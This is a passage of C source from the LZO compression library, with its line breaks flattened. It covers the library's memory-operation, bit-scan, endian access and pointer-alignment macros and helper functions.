LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint32_t) == 4) #endif #if defined(lzo_int64_t) || defined(lzo_uint64_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint64_t) == 8) #endif #if (LZO_CFG_FREESTANDING) # undef HAVE_MEMCMP # undef HAVE_MEMCPY # undef HAVE_MEMMOVE # undef HAVE_MEMSET #endif #if !(HAVE_MEMCMP) # undef memcmp # define memcmp(a,b,c) lzo_memcmp(a,b,c) #else # undef lzo_memcmp # define lzo_memcmp(a,b,c) memcmp(a,b,c) #endif #if !(HAVE_MEMCPY) # undef memcpy # define memcpy(a,b,c) lzo_memcpy(a,b,c) #else # undef lzo_memcpy # define lzo_memcpy(a,b,c) memcpy(a,b,c) #endif #if !(HAVE_MEMMOVE) # undef memmove # define memmove(a,b,c) lzo_memmove(a,b,c) #else # undef lzo_memmove # define lzo_memmove(a,b,c) memmove(a,b,c) #endif #if !(HAVE_MEMSET) # undef memset # define memset(a,b,c) lzo_memset(a,b,c) #else # undef lzo_memset # define lzo_memset(a,b,c) memset(a,b,c) #endif #undef NDEBUG #if (LZO_CFG_FREESTANDING) # undef LZO_DEBUG # define NDEBUG 1 # undef assert # define assert(e) ((void)0) #else # if !defined(LZO_DEBUG) # define NDEBUG 1 # endif # include #endif #if 0 && defined(__BOUNDS_CHECKING_ON) # include #else # define BOUNDS_CHECKING_OFF_DURING(stmt) stmt # define BOUNDS_CHECKING_OFF_IN_EXPR(expr) (expr) #endif #if (LZO_CFG_PGO) # undef __lzo_likely # undef __lzo_unlikely # define __lzo_likely(e) (e) # define __lzo_unlikely(e) (e) #endif #undef _ #undef __ #undef ___ #undef ____ #undef _p0 #undef _p1 #undef _p2 #undef _p3 #undef _p4 #undef _s0 #undef _s1 #undef _s2 #undef _s3 #undef _s4 #undef _ww #if 1 # define LZO_BYTE(x) ((unsigned char) (x)) #else # define LZO_BYTE(x) ((unsigned char) ((x) & 0xff)) #endif #define LZO_MAX(a,b) ((a) >= (b) ? (a) : (b)) #define LZO_MIN(a,b) ((a) <= (b) ? (a) : (b)) #define LZO_MAX3(a,b,c) ((a) >= (b) ? LZO_MAX(a,c) : LZO_MAX(b,c)) #define LZO_MIN3(a,b,c) ((a) <= (b) ? LZO_MIN(a,c) : LZO_MIN(b,c)) #define lzo_sizeof(type) ((lzo_uint) (sizeof(type))) #define LZO_HIGH(array) ((lzo_uint) (sizeof(array)/sizeof(*(array)))) #define LZO_SIZE(bits) (1u << (bits)) #define LZO_MASK(bits) (LZO_SIZE(bits) - 1) #define LZO_USIZE(bits) ((lzo_uint) 1 << (bits)) #define LZO_UMASK(bits) (LZO_USIZE(bits) - 1) #if !defined(DMUL) #if 0 # define DMUL(a,b) ((lzo_xint) ((lzo_uint32_t)(a) * (lzo_uint32_t)(b))) #else # define DMUL(a,b) ((lzo_xint) ((a) * (b))) #endif #endif #ifndef __LZO_FUNC_H #define __LZO_FUNC_H 1 #if !defined(LZO_BITOPS_USE_ASM_BITSCAN) && !defined(LZO_BITOPS_USE_GNUC_BITSCAN) && !defined(LZO_BITOPS_USE_MSC_BITSCAN) #if 1 && (LZO_ARCH_AMD64) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_ASM_SYNTAX_GNUC) #define LZO_BITOPS_USE_ASM_BITSCAN 1 #elif (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x030400ul) || (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1000)) || (LZO_CC_LLVM && (!defined(__llvm_tools_version__) || (__llvm_tools_version__+0 >= 0x010500ul)))) #define LZO_BITOPS_USE_GNUC_BITSCAN 1 #elif (LZO_OS_WIN32 || LZO_OS_WIN64) && ((LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 1010)) || (LZO_CC_MSC && (_MSC_VER >= 1400))) #define LZO_BITOPS_USE_MSC_BITSCAN 1 #if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) #include #endif #if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) #pragma intrinsic(_BitScanReverse) #pragma intrinsic(_BitScanForward) #endif #if (LZO_CC_MSC) && (LZO_ARCH_AMD64) #pragma intrinsic(_BitScanReverse64) #pragma intrinsic(_BitScanForward64) #endif #endif #endif __lzo_static_forceinline unsigned lzo_bitops_ctlz32_func(lzo_uint32_t v) { #if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) unsigned long r; (void) _BitScanReverse(&r, v); return (unsigned) r ^ 31; #define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v) #elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC) lzo_uint32_t r; __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); return (unsigned) r ^ 31; #define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT == 4) unsigned r; r = (unsigned) __builtin_clz(v); return r; #define lzo_bitops_ctlz32(v) ((unsigned) __builtin_clz(v)) #else LZO_UNUSED(v); return 0; #endif } #if defined(lzo_uint64_t) __lzo_static_forceinline unsigned lzo_bitops_ctlz64_func(lzo_uint64_t v) { #if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64) unsigned long r; (void) _BitScanReverse64(&r, v); return (unsigned) r ^ 63; #define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v) #elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC) lzo_uint64_t r; __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); return (unsigned) r ^ 63; #define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG == 8) && (LZO_WORDSIZE >= 8) unsigned r; r = (unsigned) __builtin_clzl(v); return r; #define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzl(v)) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG == 8) && (LZO_WORDSIZE >= 8) unsigned r; r = (unsigned) __builtin_clzll(v); return r; #define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzll(v)) #else LZO_UNUSED(v); return 0; #endif } #endif __lzo_static_forceinline unsigned lzo_bitops_cttz32_func(lzo_uint32_t v) { #if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) unsigned long r; (void) _BitScanForward(&r, v); return (unsigned) r; #define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v) #elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC) lzo_uint32_t r; __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); return (unsigned) r; #define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT >= 4) unsigned r; r = (unsigned) __builtin_ctz(v); return r; #define lzo_bitops_cttz32(v) ((unsigned) __builtin_ctz(v)) #else LZO_UNUSED(v); return 0; #endif } #if defined(lzo_uint64_t) __lzo_static_forceinline unsigned lzo_bitops_cttz64_func(lzo_uint64_t v) { #if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64) unsigned long r; (void) _BitScanForward64(&r, v); return (unsigned) r; #define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v) #elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC) lzo_uint64_t r; __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); return (unsigned) r; #define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG >= 8) && (LZO_WORDSIZE >= 8) unsigned r; r = (unsigned) __builtin_ctzl(v); return r; #define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzl(v)) #elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG >= 8) && (LZO_WORDSIZE >= 8) unsigned r; r = (unsigned) __builtin_ctzll(v); return r; #define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzll(v)) #else LZO_UNUSED(v); return 0; #endif } #endif #if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) static void __attribute__((__unused__)) #else __lzo_static_forceinline void #endif lzo_bitops_unused_funcs(void) { LZO_UNUSED_FUNC(lzo_bitops_ctlz32_func); LZO_UNUSED_FUNC(lzo_bitops_cttz32_func); #if defined(lzo_uint64_t) LZO_UNUSED_FUNC(lzo_bitops_ctlz64_func); LZO_UNUSED_FUNC(lzo_bitops_cttz64_func); #endif LZO_UNUSED_FUNC(lzo_bitops_unused_funcs); } #if defined(__lzo_alignof) && !(LZO_CFG_NO_UNALIGNED) #ifndef __lzo_memops_tcheck #define __lzo_memops_tcheck(t,a,b) ((void)0, sizeof(t) == (a) && __lzo_alignof(t) == (b)) #endif #endif #ifndef lzo_memops_TU0p #define lzo_memops_TU0p void __LZO_MMODEL * #endif #ifndef lzo_memops_TU1p #define lzo_memops_TU1p unsigned char __LZO_MMODEL * #endif #ifndef lzo_memops_TU2p #if (LZO_OPT_UNALIGNED16) typedef lzo_uint16_t __lzo_may_alias lzo_memops_TU2; #define lzo_memops_TU2p volatile lzo_memops_TU2 * #elif defined(__lzo_byte_struct) __lzo_byte_struct(lzo_memops_TU2_struct,2) typedef struct lzo_memops_TU2_struct lzo_memops_TU2; #else struct lzo_memops_TU2_struct { unsigned char a[2]; } __lzo_may_alias; typedef struct lzo_memops_TU2_struct lzo_memops_TU2; #endif #ifndef lzo_memops_TU2p #define lzo_memops_TU2p lzo_memops_TU2 * #endif #endif #ifndef lzo_memops_TU4p #if (LZO_OPT_UNALIGNED32) typedef lzo_uint32_t __lzo_may_alias lzo_memops_TU4; #define lzo_memops_TU4p volatile lzo_memops_TU4 __LZO_MMODEL * #elif defined(__lzo_byte_struct) __lzo_byte_struct(lzo_memops_TU4_struct,4) typedef struct lzo_memops_TU4_struct lzo_memops_TU4; #else struct lzo_memops_TU4_struct { unsigned char a[4]; } __lzo_may_alias; typedef struct lzo_memops_TU4_struct lzo_memops_TU4; #endif #ifndef lzo_memops_TU4p #define lzo_memops_TU4p lzo_memops_TU4 __LZO_MMODEL * #endif #endif #ifndef lzo_memops_TU8p #if (LZO_OPT_UNALIGNED64) typedef lzo_uint64_t __lzo_may_alias lzo_memops_TU8; #define lzo_memops_TU8p volatile lzo_memops_TU8 __LZO_MMODEL * #elif defined(__lzo_byte_struct) __lzo_byte_struct(lzo_memops_TU8_struct,8) typedef struct lzo_memops_TU8_struct lzo_memops_TU8; #else struct lzo_memops_TU8_struct { unsigned char a[8]; } __lzo_may_alias; typedef struct lzo_memops_TU8_struct lzo_memops_TU8; #endif #ifndef lzo_memops_TU8p #define lzo_memops_TU8p lzo_memops_TU8 __LZO_MMODEL * #endif #endif #ifndef lzo_memops_set_TU1p #define lzo_memops_set_TU1p volatile lzo_memops_TU1p #endif #ifndef lzo_memops_move_TU1p #define lzo_memops_move_TU1p lzo_memops_TU1p #endif #define LZO_MEMOPS_SET1(dd,cc) \ LZO_BLOCK_BEGIN \ lzo_memops_set_TU1p d__1 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ d__1[0] = LZO_BYTE(cc); \ LZO_BLOCK_END #define LZO_MEMOPS_SET2(dd,cc) \ LZO_BLOCK_BEGIN \ lzo_memops_set_TU1p d__2 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ d__2[0] = LZO_BYTE(cc); d__2[1] = LZO_BYTE(cc); \ LZO_BLOCK_END #define LZO_MEMOPS_SET3(dd,cc) \ LZO_BLOCK_BEGIN \ lzo_memops_set_TU1p d__3 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ d__3[0] = LZO_BYTE(cc); d__3[1] = LZO_BYTE(cc); d__3[2] = LZO_BYTE(cc); \ LZO_BLOCK_END #define LZO_MEMOPS_SET4(dd,cc) \ LZO_BLOCK_BEGIN \ lzo_memops_set_TU1p d__4 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \ d__4[0] = LZO_BYTE(cc); d__4[1] = LZO_BYTE(cc); d__4[2] = LZO_BYTE(cc); d__4[3] = LZO_BYTE(cc); \ LZO_BLOCK_END #define LZO_MEMOPS_MOVE1(dd,ss) \ LZO_BLOCK_BEGIN \ lzo_memops_move_TU1p d__1 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_move_TU1p s__1 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ d__1[0] = s__1[0]; \ LZO_BLOCK_END #define LZO_MEMOPS_MOVE2(dd,ss) \ LZO_BLOCK_BEGIN \ lzo_memops_move_TU1p d__2 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_move_TU1p s__2 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ d__2[0] = s__2[0]; d__2[1] = s__2[1]; \ LZO_BLOCK_END #define LZO_MEMOPS_MOVE3(dd,ss) \ LZO_BLOCK_BEGIN \ lzo_memops_move_TU1p d__3 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_move_TU1p s__3 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ d__3[0] = s__3[0]; d__3[1] = s__3[1]; d__3[2] = s__3[2]; \ LZO_BLOCK_END #define LZO_MEMOPS_MOVE4(dd,ss) \ LZO_BLOCK_BEGIN \ lzo_memops_move_TU1p d__4 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_move_TU1p s__4 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ d__4[0] = s__4[0]; d__4[1] = s__4[1]; d__4[2] = s__4[2]; d__4[3] = s__4[3]; \ LZO_BLOCK_END #define LZO_MEMOPS_MOVE8(dd,ss) \ LZO_BLOCK_BEGIN \ lzo_memops_move_TU1p d__8 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_move_TU1p s__8 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \ d__8[0] = s__8[0]; d__8[1] = s__8[1]; d__8[2] = s__8[2]; d__8[3] = s__8[3]; \ d__8[4] = s__8[4]; d__8[5] = s__8[5]; d__8[6] = s__8[6]; d__8[7] = s__8[7]; \ LZO_BLOCK_END LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU1p)0)==1) #define LZO_MEMOPS_COPY1(dd,ss) LZO_MEMOPS_MOVE1(dd,ss) #if (LZO_OPT_UNALIGNED16) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU2p)0)==2) #define LZO_MEMOPS_COPY2(dd,ss) \ * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) #elif defined(__lzo_memops_tcheck) #define LZO_MEMOPS_COPY2(dd,ss) \ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU2,2,1)) { \ * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss); \ } else { LZO_MEMOPS_MOVE2(dd,ss); } LZO_BLOCK_END #else #define LZO_MEMOPS_COPY2(dd,ss) LZO_MEMOPS_MOVE2(dd,ss) #endif #if (LZO_OPT_UNALIGNED32) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU4p)0)==4) #define LZO_MEMOPS_COPY4(dd,ss) \ * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) #elif defined(__lzo_memops_tcheck) #define LZO_MEMOPS_COPY4(dd,ss) \ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU4,4,1)) { \ * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss); \ } else { LZO_MEMOPS_MOVE4(dd,ss); } LZO_BLOCK_END #else #define LZO_MEMOPS_COPY4(dd,ss) LZO_MEMOPS_MOVE4(dd,ss) #endif #if (LZO_WORDSIZE != 8) #define LZO_MEMOPS_COPY8(dd,ss) \ LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END #else #if (LZO_OPT_UNALIGNED64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU8p)0)==8) #define LZO_MEMOPS_COPY8(dd,ss) \ * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) #elif (LZO_OPT_UNALIGNED32) #define LZO_MEMOPS_COPY8(dd,ss) \ LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END #elif defined(__lzo_memops_tcheck) #define LZO_MEMOPS_COPY8(dd,ss) \ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU8,8,1)) { \ * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss); \ } else { LZO_MEMOPS_MOVE8(dd,ss); } LZO_BLOCK_END #else #define LZO_MEMOPS_COPY8(dd,ss) LZO_MEMOPS_MOVE8(dd,ss) #endif #endif #define LZO_MEMOPS_COPYN(dd,ss,nn) \ LZO_BLOCK_BEGIN \ lzo_memops_TU1p d__n = (lzo_memops_TU1p) (lzo_memops_TU0p) (dd); \ const lzo_memops_TU1p s__n = (const lzo_memops_TU1p) (const lzo_memops_TU0p) (ss); \ lzo_uint n__n = (nn); \ while ((void)0, n__n >= 8) { LZO_MEMOPS_COPY8(d__n, s__n); d__n += 8; s__n += 8; n__n -= 8; } \ if ((void)0, n__n >= 4) { LZO_MEMOPS_COPY4(d__n, s__n); d__n += 4; s__n += 4; n__n -= 4; } \ if ((void)0, n__n > 0) do { *d__n++ = *s__n++; } while (--n__n > 0); \ LZO_BLOCK_END __lzo_static_forceinline lzo_uint16_t lzo_memops_get_le16(const lzo_voidp ss) { lzo_uint16_t v; #if (LZO_ABI_LITTLE_ENDIAN) LZO_MEMOPS_COPY2(&v, ss); #elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) const lzo_memops_TU2p s = (const lzo_memops_TU2p) ss; unsigned long vv; __asm__("lhbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s)); v = (lzo_uint16_t) vv; #else const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss; v = (lzo_uint16_t) (((lzo_uint16_t)s[0]) | ((lzo_uint16_t)s[1] << 8)); #endif return v; } #if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) #define LZO_MEMOPS_GET_LE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) #else #define LZO_MEMOPS_GET_LE16(ss) lzo_memops_get_le16(ss) #endif __lzo_static_forceinline lzo_uint32_t lzo_memops_get_le32(const lzo_voidp ss) { lzo_uint32_t v; #if (LZO_ABI_LITTLE_ENDIAN) LZO_MEMOPS_COPY4(&v, ss); #elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) const lzo_memops_TU4p s = (const lzo_memops_TU4p) ss; unsigned long vv; __asm__("lwbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s)); v = (lzo_uint32_t) vv; #else const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss; v = (lzo_uint32_t) (((lzo_uint32_t)s[0] << 24) | ((lzo_uint32_t)s[1] << 16) | ((lzo_uint32_t)s[2] << 8) | ((lzo_uint32_t)s[3])); #endif return v; } #if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN) #define LZO_MEMOPS_GET_LE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) #else #define LZO_MEMOPS_GET_LE32(ss) lzo_memops_get_le32(ss) #endif #if (LZO_OPT_UNALIGNED64) && (LZO_ABI_LITTLE_ENDIAN) #define LZO_MEMOPS_GET_LE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) #endif __lzo_static_forceinline lzo_uint16_t lzo_memops_get_ne16(const lzo_voidp ss) { lzo_uint16_t v; LZO_MEMOPS_COPY2(&v, ss); return v; } #if (LZO_OPT_UNALIGNED16) #define LZO_MEMOPS_GET_NE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss) #else #define LZO_MEMOPS_GET_NE16(ss) lzo_memops_get_ne16(ss) #endif __lzo_static_forceinline lzo_uint32_t lzo_memops_get_ne32(const lzo_voidp ss) { lzo_uint32_t v; LZO_MEMOPS_COPY4(&v, ss); return v; } #if (LZO_OPT_UNALIGNED32) #define LZO_MEMOPS_GET_NE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss) #else #define LZO_MEMOPS_GET_NE32(ss) lzo_memops_get_ne32(ss) #endif #if (LZO_OPT_UNALIGNED64) #define LZO_MEMOPS_GET_NE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss) #endif __lzo_static_forceinline void lzo_memops_put_le16(lzo_voidp dd, lzo_uint16_t vv) { #if (LZO_ABI_LITTLE_ENDIAN) LZO_MEMOPS_COPY2(dd, &vv); #elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) lzo_memops_TU2p d = (lzo_memops_TU2p) dd; unsigned long v = vv; __asm__("sthbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v)); #else lzo_memops_TU1p d = (lzo_memops_TU1p) dd; d[0] = LZO_BYTE((vv ) & 0xff); d[1] = LZO_BYTE((vv >> 8) & 0xff); #endif } #if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) #define LZO_MEMOPS_PUT_LE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv)) #else #define LZO_MEMOPS_PUT_LE16(dd,vv) lzo_memops_put_le16(dd,vv) #endif __lzo_static_forceinline void lzo_memops_put_le32(lzo_voidp dd, lzo_uint32_t vv) { #if (LZO_ABI_LITTLE_ENDIAN) LZO_MEMOPS_COPY4(dd, &vv); #elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC) lzo_memops_TU4p d = (lzo_memops_TU4p) dd; unsigned long v = vv; __asm__("stwbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v)); #else lzo_memops_TU1p d = (lzo_memops_TU1p) dd; d[0] = LZO_BYTE((vv ) & 0xff); d[1] = LZO_BYTE((vv >> 8) & 0xff); d[2] = LZO_BYTE((vv >> 16) & 0xff); d[3] = LZO_BYTE((vv >> 24) & 0xff); #endif } #if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN) #define LZO_MEMOPS_PUT_LE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv)) #else #define LZO_MEMOPS_PUT_LE32(dd,vv) lzo_memops_put_le32(dd,vv) #endif __lzo_static_forceinline void lzo_memops_put_ne16(lzo_voidp dd, lzo_uint16_t vv) { LZO_MEMOPS_COPY2(dd, &vv); } #if (LZO_OPT_UNALIGNED16) #define LZO_MEMOPS_PUT_NE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv)) #else #define LZO_MEMOPS_PUT_NE16(dd,vv) lzo_memops_put_ne16(dd,vv) #endif __lzo_static_forceinline void lzo_memops_put_ne32(lzo_voidp dd, lzo_uint32_t vv) { LZO_MEMOPS_COPY4(dd, &vv); } #if (LZO_OPT_UNALIGNED32) #define LZO_MEMOPS_PUT_NE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv)) #else #define LZO_MEMOPS_PUT_NE32(dd,vv) lzo_memops_put_ne32(dd,vv) #endif #if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) static void __attribute__((__unused__)) #else __lzo_static_forceinline void #endif lzo_memops_unused_funcs(void) { LZO_UNUSED_FUNC(lzo_memops_get_le16); LZO_UNUSED_FUNC(lzo_memops_get_le32); LZO_UNUSED_FUNC(lzo_memops_get_ne16); LZO_UNUSED_FUNC(lzo_memops_get_ne32); LZO_UNUSED_FUNC(lzo_memops_put_le16); LZO_UNUSED_FUNC(lzo_memops_put_le32); LZO_UNUSED_FUNC(lzo_memops_put_ne16); LZO_UNUSED_FUNC(lzo_memops_put_ne32); LZO_UNUSED_FUNC(lzo_memops_unused_funcs); } #endif #ifndef UA_SET1 #define UA_SET1 LZO_MEMOPS_SET1 #endif #ifndef UA_SET2 #define UA_SET2 LZO_MEMOPS_SET2 #endif #ifndef UA_SET3 #define UA_SET3 LZO_MEMOPS_SET3 #endif #ifndef UA_SET4 #define UA_SET4 LZO_MEMOPS_SET4 #endif #ifndef UA_MOVE1 #define UA_MOVE1 LZO_MEMOPS_MOVE1 #endif #ifndef UA_MOVE2 #define UA_MOVE2 LZO_MEMOPS_MOVE2 #endif #ifndef UA_MOVE3 #define UA_MOVE3 LZO_MEMOPS_MOVE3 #endif #ifndef UA_MOVE4 #define UA_MOVE4 LZO_MEMOPS_MOVE4 #endif #ifndef UA_MOVE8 #define UA_MOVE8 LZO_MEMOPS_MOVE8 #endif #ifndef UA_COPY1 #define UA_COPY1 LZO_MEMOPS_COPY1 #endif #ifndef UA_COPY2 #define UA_COPY2 LZO_MEMOPS_COPY2 #endif #ifndef UA_COPY3 #define UA_COPY3 LZO_MEMOPS_COPY3 #endif #ifndef UA_COPY4 #define UA_COPY4 LZO_MEMOPS_COPY4 #endif #ifndef UA_COPY8 #define UA_COPY8 LZO_MEMOPS_COPY8 #endif #ifndef UA_COPYN #define UA_COPYN LZO_MEMOPS_COPYN #endif #ifndef UA_COPYN_X #define UA_COPYN_X LZO_MEMOPS_COPYN #endif #ifndef UA_GET_LE16 #define UA_GET_LE16 LZO_MEMOPS_GET_LE16 #endif #ifndef UA_GET_LE32 #define UA_GET_LE32 LZO_MEMOPS_GET_LE32 #endif #ifdef LZO_MEMOPS_GET_LE64 #ifndef UA_GET_LE64 #define UA_GET_LE64 LZO_MEMOPS_GET_LE64 #endif #endif #ifndef UA_GET_NE16 #define UA_GET_NE16 LZO_MEMOPS_GET_NE16 #endif #ifndef UA_GET_NE32 #define UA_GET_NE32 LZO_MEMOPS_GET_NE32 #endif #ifdef LZO_MEMOPS_GET_NE64 #ifndef UA_GET_NE64 #define UA_GET_NE64 LZO_MEMOPS_GET_NE64 #endif #endif #ifndef UA_PUT_LE16 #define UA_PUT_LE16 LZO_MEMOPS_PUT_LE16 #endif #ifndef UA_PUT_LE32 #define UA_PUT_LE32 LZO_MEMOPS_PUT_LE32 #endif #ifndef UA_PUT_NE16 #define UA_PUT_NE16 LZO_MEMOPS_PUT_NE16 #endif #ifndef UA_PUT_NE32 #define UA_PUT_NE32 LZO_MEMOPS_PUT_NE32 #endif #define MEMCPY8_DS(dest,src,len) \ lzo_memcpy(dest,src,len); dest += len; src += len #define BZERO8_PTR(s,l,n) \ lzo_memset((lzo_voidp)(s),0,(lzo_uint)(l)*(n)) #define MEMCPY_DS(dest,src,len) \ do *dest++ = *src++; while (--len > 0) LZO_EXTERN(const lzo_bytep) lzo_copyright(void); #ifndef __LZO_PTR_H #define __LZO_PTR_H 1 #ifdef __cplusplus extern "C" { #endif #if (LZO_ARCH_I086) #error "LZO_ARCH_I086 is unsupported" #elif (LZO_MM_PVP) #error "LZO_MM_PVP is unsupported" #else #define PTR(a) ((lzo_uintptr_t) (a)) #define PTR_LINEAR(a) PTR(a) #define PTR_ALIGNED_4(a) ((PTR_LINEAR(a) & 3) == 0) #define PTR_ALIGNED_8(a) ((PTR_LINEAR(a) & 7) == 0) #define PTR_ALIGNED2_4(a,b) (((PTR_LINEAR(a) | PTR_LINEAR(b)) & 3) == 0) #define PTR_ALIGNED2_8(a,b) 